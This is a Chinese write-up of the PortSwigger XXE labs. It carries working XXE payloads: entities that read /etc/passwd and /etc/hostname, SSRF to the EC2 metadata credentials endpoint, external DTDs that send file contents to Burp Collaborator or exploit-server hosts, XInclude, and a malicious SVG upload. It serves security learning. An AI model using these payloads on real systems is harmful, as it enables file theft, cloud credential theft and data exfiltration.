当前位置: 首页 > news >正文

PortSwigger-02-XXE

一:漏洞原理

1、XXE

  • XXE全称xml外部实体注入

  • XML:是一种用于标记电子文件使其具有结构性的标记语言,提供统一的方法来描述和交换独立于应用程序或者供应商的结构化数据,它可以用来标记数据,定义数据类型、是一种允许用户对自己的标记语言进行定义的元语言

  • DTD:是一种描述XML数据结构的规则,可以包含实体定义,这些实体允许XML数据引入外部资源,如果文档中应用了DTD,解析器会尝试加载和解析DTD文件

  • 参考链接:https://blog.csdn.net/fuhanghang/article/details/123272261

2、XXE原理

XML外部实体注入是一种web安全漏洞,攻击者可以通过引入自定义的实体来强制服务器加载外部资源。它通常允许攻击者查看应用程序服务器文件系统上的文件,并于应用程序本身可以访问的任何后端或者外部数据进行交互。XXE漏洞触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意的xml文件读取文件或者获取shell.

3、XXE特征

1、url是 .ashx后缀
2、响应体是xml
3、看请求包中有一个Accept:看看其中有没有xml

二:PortSwigger靶场

靶场复现参考链接:https://blog.csdn.net/qq_53079406/article/details/128642758

1、利用外部实体检索文件

(1)原理:构造恶意的xml数据,引入外部实体,读取服务器的文件
(2)漏洞点
在这里插入图片描述
bp抓包分析:发现提交了xml数据:

  • <?xml version="1.0" encoding="UTF-8"?> 声明这是一个XML文档
  • 表示是根节点
  • 1 子节点:表示产品的标识号
<?xml version="1.0" encoding="UTF-8"?> 
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>

构造payload读取文件

  • 外部实体定义 <!DOCTYPE>表示文档的类型
  • <!ENTITY xxe SYSTEM "file:///etc/passwd"> 定义一个外部的实体
  • xxe是实体的名称、SYSTEM:引入外部的资源 、file:///etc/passwd :表示文件的路径,表示需要读取的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

2、利用XXE执行SSRF攻击

(1)原理:引入外部实体恶意的xml代码读取远程服务器的敏感数据,使用<!ENTITY>定义外部实体,然后通过SYSTEM指向EC2元数据终端点,&xxe;就是将恶意的实体插入的XML数据的字段中

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

在这里插入图片描述
成功读取到了敏感数据

3、具有带外交互的盲XXE

(1)原理:利用外带技术,也就是bp的Collaborator可以捕获请求和响应包

(2)和上述的情况有点类型,但是没有回显,需要利用外带技术,也就是bp的Collaborator,参考链接:

https://blog.csdn.net/wang_624/article/details/123172519

和问题2的情况有点类似,直接构造payload(其中http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net是bp生成的)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

成功外带看到相应包
在这里插入图片描述

4、通过 XML 参数实体进行带外交互的盲 XXE

(1)尝试使用例三中的payload进行测试,回显"Entities are not allowed for security reasons",可能是增加了一些过滤限制
(2)使用参数实体进行绕过:

  • 常规实体XML在正文中引用,而参数实体在只能在DTD内部用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://389f7odkpxhdbcf42849rsqcx33vrk.burpcollaborator.net">%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>

5、利用盲XEE使用外部恶意DTD泄露数据

(1)目标:

  • 泄露服务器上的/etc/hostname文件的内容,使用Burp Collaborator 或实验室提供的漏洞利用服务器接收泄露的数据。
    (2)实现原理
  • 构造一个恶意的DTD文件:他会加载服务器的指定文件并通过外部网络发送到攻击者的服务器中(通过网络请求将数据外带)
  • 然后xxe注入访问我们上传的DTD文件让其执行然后将敏感数据带出到bp的服务器中
    (1)首先还是盲XML,需要利用外带技术
  • <!ENTITY % file SYSTEM "file:///etc/hostname"> :定义一个参数实体file,SYSTEM读取指定文件内容
  • 定义eval参数实体,
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://l5rx46a2mfev8ucmzq1roanuul0eo3.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit"> %xxe;]>

成功外带拿到信息

6、利用盲XXE通过错误消息检索数据

原理:将恶意的DTD文件托管到VPS上,然后在xxe注入引入这个文件的链接来执行DTD中的代码
(1)请使用外部 DTD 触发显示文件内容的错误消息。/etc/passwd

DTD文件是一种定义XML文档结构的文件,主要用于执行XML文档的合法元素以及属性、子元素的排列顺序等规则

(2)上传恶意的DTD文件,然后获取恶意的DTD文件的url位置

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

(3)xxe注入外带信息(参数实体)

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac3001e03dad7988092c570014c00a2.exploit-server.net/exploit"> %xxe;]>

在这里插入图片描述

7、利用XInclude检索文件

  • 相比于前面的实验,我们无法控制整个XML文档,因此无法定义DTD来启动经典的XXE攻击
    在这里插入图片描述
  • 但是可以使用XInclude/etc/passwd语句来注入
    XInclude是一种xml技术,用于在一个XML文档中动态插入其他XML文档或者文本内容。XInclude的工作机制是基于XML解析器的扩展支持,通过xi:include标签、可以引入外部数据并将其内容直接嵌入到XML文档中
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

注入测试
在这里插入图片描述

8、通过图像文件上传利用XXE

(1)原理:一些应用程序允许用户上传图像、并在上传之后处理或者验证这些图像。如果支持上传SVG图像但是服务端没有对xml数据进行严格的校验的化,那么攻击者就可以提交恶意的SVG图像,从而达到XXE漏洞的隐藏攻击面
(2)创建 1.svg 其中内容包括如下

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

(3)在博客文章上发表评论,并将此图像作为头像上传,然后访问该图片就可以执行xml代码
在这里插入图片描述

http://www.xdnf.cn/news/692029.html

相关文章:

  • Gerapy二次开发:在Ubuntu服务器中利用pyenv+supervisor实现项目部署
  • 为 MCP Server 提供 Auth 认证,及 Django 实现示例
  • 三、zookeeper 常用shell命令
  • Spring AI 代理模式(Agent Agentic Patterns)
  • 基于Vue3.0的【Vis.js】库基本使用教程(002):图片知识图谱的基本构建和设置
  • 机器学习-随机森林
  • 算法训练第一天
  • 深度解析 torch.mean 的替代方案
  • Web前端快速入门(Vue、Element、Nginx)
  • 通过海康萤石API控制家里相机的云台及抓图
  • PHP:从Web开发基石到现代应用引擎的进化之路
  • 青岛市长任刚与深兰科技董事长陈海波会谈,深兰青岛项目即将进入快车道!
  • Nacos注册中心原理
  • System Properties 和 Settings.Global 的区别
  • 尚硅谷redis7 70-72 redis哨兵监控之案例实操7
  • go实现定时任务
  • QT 5.15.2 程序中文乱码
  • Linux基础 -- Linux 启动调试之深入理解 `initcall_debug` 与 `ignore_loglevel`
  • JavaScript核心总结与现代化应用指南
  • 弥散制氧机工作机制:高原低氧环境的氧浓度重构技术
  • Laravel单元测试使用示例
  • linux安装ffmpeg7.0.2全过程
  • es6 函数解构
  • 【系统架构设计师】2025年上半年真题论文回忆版: 论事件驱动架构及应用(包括解题思路和参考素材)
  • nova14 ultra,是如何防住80°C热水和10000KPa水压冲击的?
  • pytorch部分函数理解
  • 【网络通信】详解网络通信、实现 CS / BS架构 通信
  • xxl-job快速创建复制任务
  • IACEES 2025:创新材料与能源模式,迎接未来的挑战
  • 27、请求处理-【源码分析】-怎么改变默认的_method